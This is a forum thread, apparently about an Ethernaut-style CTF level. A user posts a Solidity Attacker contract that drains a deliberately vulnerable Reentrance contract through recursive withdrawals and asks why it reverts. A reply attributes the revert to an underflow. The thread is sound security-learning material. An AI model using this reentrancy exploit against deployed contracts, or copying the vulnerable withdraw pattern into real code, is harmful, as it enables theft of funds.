Reentrancy attack revert

[danail-vasilev]

I have some issue with Reentrance level - This is the transaction - https://sepolia.etherscan.io/tx/0xe60cc73ebcf964451002b2fd9a0e10079e43891a65e1c1ae640e20e26a945984#internal

steps:

1. Deploy Reentrance contract
2. Deploy Attacker contract with reentrance address.
3. Call attacker function from Attacker contract with 100000000000000 wei.
   actual - transaction is reverted

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;


import "@openzeppelin/contracts/utils/math/SafeMath.sol";

contract Attacker {
    Reentrance public reentrance;
    address public owner;
    error Attacker__NotOwner();
    constructor(address payable _reentrance) payable {
        reentrance = Reentrance(_reentrance);
        owner = msg.sender;
    }

    function withdraw() public {
        if (msg.sender != owner) {
            revert Attacker__NotOwner();
        }
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        if (!success) {
            revert('cannot withdraw money');
        }
    }
    uint256 public constant AMOUNT = 100000000000000;
    function attack() payable public {
        
        reentrance.donate{value: AMOUNT}(address(this));
        reentrance.withdraw(AMOUNT);

        require(address(reentrance).balance == 0, 'reentrance balance > 0');
        selfdestruct(payable(msg.sender));
    }
  //  address public receiveSender;
    receive() payable external {
       // receiveSender = msg.sender;
        uint256 min = minf(AMOUNT, address(reentrance).balance);
        if (min > 0) {
            reentrance.withdraw(min);
        }
    }

    function minf(uint256 v1, uint256 v2) public pure returns(uint256) {
        return v1 > v2 ? v2 : v1;
    }
}

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

[ZdravkoHr]

In your Reentrance.withdraw() the balance of the sender is being subtracted every time. This means that an underflow will cause a revert for every call where the balance is < amount